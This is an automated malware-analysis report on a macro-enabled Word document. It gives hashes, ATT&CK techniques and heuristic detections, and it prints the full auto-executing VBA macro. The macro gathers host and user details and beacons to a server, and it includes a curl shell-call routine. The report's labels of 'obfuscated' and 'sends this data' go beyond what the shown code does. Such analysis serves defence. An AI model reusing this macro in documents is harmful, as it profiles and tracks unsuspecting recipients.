Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 226fa03570c52d29…

MALICIOUS

Office (OOXML)

19.5 KB Created: 2018-07-05 08:23:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2019-05-16
MD5: df42d025260e29df05bf075b9779d77f SHA-1: 419457db3c373eacb2668a0b0bb17447386d01f4 SHA-256: 226fa03570c52d29bd00717edce645cdf0d38d8785f63880c953f28295d8f46f
398 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1071.001 Web Protocols T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes automatically upon opening the document. This macro utilizes WScript.Shell and CreateObject to gather system information, including local and public IP addresses, MAC address, computer name, username, and OS version. It then attempts to send this data to a server constructed from a hardcoded URL. The presence of obfuscated shell commands and the auto-executing nature of the macro indicate a downloader or information-gathering stage of a malicious operation.

Heuristics 11

  • VBA project inside OOXML medium 9 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            APS = "do shell script " & VBA.Chr(34) & "/usr/bin/curl --url " & url & sendData & VBA.Chr(34)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set Registry = CreateObject("WScript.Shell")
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
            APS = "do shell script " & VBA.Chr(34) & "/usr/bin/curl --url " & url & sendData & VBA.Chr(34)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
            APS = "do shell script " & VBA.Chr(34) & "/usr/bin/curl --url " & url & sendData & VBA.Chr(34)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Set xmlhttp = CreateObject("microsoft.xmlhttp")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        'The root\cimv2 namespace is used to access the Win32_NetworkAdapterConfiguration class.
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub document_open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
            MacAddress = GetMyMACAddress()
            ComputerName = VBA.Environ("COMPUTERNAME")
            UserName = VBA.Environ("USERNAME")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://myip.dnsomatic.comReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7372 bytes
SHA-256: 760029cd5498cf95d79e8ffd3e0433de934e5fac4dcf863b6d377267b76b81ce
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub document_open()

    'Collect Computer Data
    Dim LocalIP As String
    Dim PublicIP As String
    Dim MacAddress As String
    Dim ComputerName As String
    Dim UserName As String
    Dim OS As String
    Dim FileType As String
    FileType = "docm"
    
    'Collect Registry Data
    Dim PhishHookUserID As String
    Dim PhishHookOrgID As String

    'Collect Data From Phishproof
    Dim PhishCampaign As String
    Dim PhishURL As String
    PhishCampaign = ReadProp("PhishCampaign")
    PhishURL = ReadProp("PhishURL")
    
    Dim serverURL As String
    serverURL = VBA.Left(PhishURL, VBA.InStr(PhishURL, "/attachments") - 1)

    If RunningOnMac() Then
        
        LocalIP = Replace(MacScript("IPv4 address of (system info)"), " ", "_")
        MacAddress = Replace(MacScript("primary Ethernet address of (system info)"), " ", "_")
        ComputerName = Replace(MacScript("computer name of (system info)"), " ", "_")
        UserName = Replace(MacScript("long user name of (system info)"), " ", "_")
        OS = "Mac"
        
        'Send Data Back to PhishProof
        Call DoBrowser("safari", serverURL & "/attachmentfile/" & PhishCampaign)
        
    Else

        LocalIP = GetMyLocalIP()
        PublicIP = GetMyPublicIP()
        MacAddress = GetMyMACAddress()
        ComputerName = VBA.Environ("COMPUTERNAME")
        UserName = VBA.Environ("USERNAME")
        OS = VBA.Environ("OS")
    
        'Send Data Back to PhishProof
        Call DoBrowser("ie", serverURL & "/attachmentfile/" & PhishCampaign)
        
    End If

End Sub
Sub HttpPost(url As String, sendData As String)

    If RunningOnMac() Then
        
        Dim APS As String
        
        APS = "do shell script " & VBA.Chr(34) & "/usr/bin/curl --url " & url & sendData & VBA.Chr(34)
        
        On Error Resume Next
            MacScript APS
        On Error GoTo 0
    
    Else

        Dim xmlhttp
    
        Set xmlhttp = CreateObject("microsoft.xmlhttp")

        With xmlhttp
            .Open "POST", url, False
            .setrequestheader "Content-Type", "application/x-www-form-urlencoded"
            .send sendData
            Debug.Print .responsetext
        End With
    
    End If

End Sub
Sub DoBrowser(Browser As String, url As String)
    
    If Browser = "ie" Then
    
        Dim ie As Object
        Set ie = VBA.CreateObject("Internetexplorer.Application")
        ie.Visible = True
        ie.Navigate url
        
    Else
    
        Dim APS As String
        APS = "do shell script " & VBA.Chr(34) & "open -a Safari " & url & VBA.Chr(34)
        MacScript APS
    
    End If
    
End Sub

Private Function ReadProp(sPropName As String) As Variant

    Dim bCustom As Boolean
    Dim sValue As String

    On Error GoTo ErrHandlerReadProp
    'Try the built-in properties first
    'An error will occur if the property doesn't exist
    sValue = ActiveDocument.BuiltInDocumentProperties(sPropName).Value
    ReadProp = sValue
    Exit Function

ContinueCustom:
  bCustom = True

Custom:
  sValue = ActiveDocument.CustomDocumentProperties(sPropName).Value
  ReadProp = sValue
  Exit Function

ErrHandlerReadProp:
  Err.Clear
  'The boolean bCustom has the value False, if this is the first
  'time that the errorhandler is runned
  If Not bCustom Then
    'Continue to see if the property is a custom documentproperty
    Resume ContinueCustom
  Else
    'The property wasn't found, return an empty string
    ReadProp = ""
    Exit Function
  End If

End Function
Private Function Registry_Read(Key_Path As String) As Variant
    
    On Error Resume Next
    
    Dim Registry As Object
    
    Set Registry = CreateObject("WScript.Shell")
    
    Registry_Read = Registry.RegRead(Key_Path)
    
End Function

Private Function GetMyLocalIP() As String

    'Declaring the necessary variables.
    Dim strComputer     As String
    Dim objWMIService   As Object
    Dim colItems        As Object
    Dim objItem         As Object
    Dim myIPAddress     As String
    
    'Set the computer.
    strComputer = "."
    
    'The root\cimv2 namespace is used to access the Win32_NetworkAdapterConfiguration class.
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    
    'A select query is used to get a collection of IP addresses from the network adapters that have the property IPEnabled equal to true.
    Set colItems = objWMIService.ExecQuery("SELECT IPAddress FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")
    
    'Loop through all the objects of the collection and return the first non-empty IP.
    For Each objItem In colItems
        If Not IsNull(objItem.IPAddress) Then myIPAddress = VBA.Trim(objItem.IPAddress(0))
        Exit For
    Next
    
    'Return the IP string.
    GetMyLocalIP = myIPAddress

End Function

Private Function GetMyPublicIP() As String

    Dim HttpRequest As Object
    
    On Error Resume Next
    'Create the XMLHttpRequest object.
    Set HttpRequest = CreateObject("MSXML2.XMLHTTP")

    'Check if the object was created.
    If Err.Number <> 0 Then
        'Return error message.
        GetMyPublicIP = "Could not create the XMLHttpRequest object!"
        'Release the object and exit.
        Set HttpRequest = Nothing
        Exit Function
    End If
    On Error GoTo 0
    
    'Create the request - no special parameters required.
    HttpRequest.Open "GET", "http://myip.dnsomatic.com", False
    
    'Send the request to the site.
    HttpRequest.send
        
    'Return the result of the request (the IP string).
    GetMyPublicIP = HttpRequest.responsetext

End Function

Private Function GetMyMACAddress() As String

    'Declaring the necessary variables.
    Dim strComputer     As String
    Dim objWMIService   As Object
    Dim colItems        As Object
    Dim objItem         As Object
    Dim myMACAddress    As String
    
    'Set the computer.
    strComputer = "."
    
    'The root\cimv2 namespace is used to access the Win32_NetworkAdapterConfiguration class.
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    
    'A select query is used to get a collection of network adapters that have the property IPEnabled equal to true.
    Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")
    
    'Loop through all the collection of adapters and return the MAC address of the first adapter that has a non-empty IP.
    For Each objItem In colItems
        If Not IsNull(objItem.IPAddress) Then myMACAddress = objItem.MacAddress
        Exit For
    Next
    
    'Return the IP string.
    GetMyMACAddress = myMACAddress
    
End Function
Function RunningOnMac() As Boolean
    RunningOnMac = False
    
    #If Mac Then
          RunningOnMac = True
    #End If
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20992 bytes
SHA-256: 39662b416fafa90d04e60f9a664f3ce4332cfa54cc6cc892cb00014e13a34cf9